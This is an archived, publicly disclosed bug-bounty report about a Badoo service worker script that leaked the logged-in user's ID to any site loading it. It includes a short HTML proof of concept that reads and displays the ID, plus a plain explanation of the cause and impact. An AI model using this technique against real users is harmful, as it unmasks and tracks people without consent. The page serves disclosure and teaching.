Skip to content
Info disclosure Disclosed report Beginner

Badoo and Hotornot User Disclosure

A Badoo endpoint exposed the logged-in user's identifier to any website that included its script, allowing a third-party page to read and display that identifier. An attacker could use this to unmask the current user on malicious or advertising sites.

symbiansymoh Follow

Originally disclosed on HackerOne

  • Disclosed after 32 days

Hi,

I have found that endpoint is leaking the currently logged in user which will result in stealing the user id and unmasking the current user, This behavior could be malicious to ads websites, rouge websites, etc...

PoC Code:

<html> <head> <title>Badoo Current User Unmasking</title> <script src=https://badoo.com/worker-scope/chrome-service-worker.js?ws=1></script> </head> <body> <script> function UnmaskUser(str) { return str.split('=')[0]; } window.onload = function(){ var user = UnmaskUser(user_id);alert(user);}; </script>

Thanks

The original report as published on HackerOne, by symbiansymoh. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the service worker script exposed the user identifier as a global variable without restricting which origins could load or read it.

Impact

A malicious or advertising website could learn the identity of a logged-in Badoo user who visits it.

What the attacker needed

Victim is logged in to Badoo; victim visits an attacker-controlled page

How it was found

  1. Create an HTML page that loads the Badoo service worker script.
  2. On page load, read the exposed user identifier variable and display it.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged into a site, other websites are normally not allowed to read your account details from it. Here, a script hosted by the site handed out your user identifier to whatever page loaded it, so any other site could learn who you are.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by symbiansymoh

View all

1 more disclosed report, best first.

More from Bumble

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.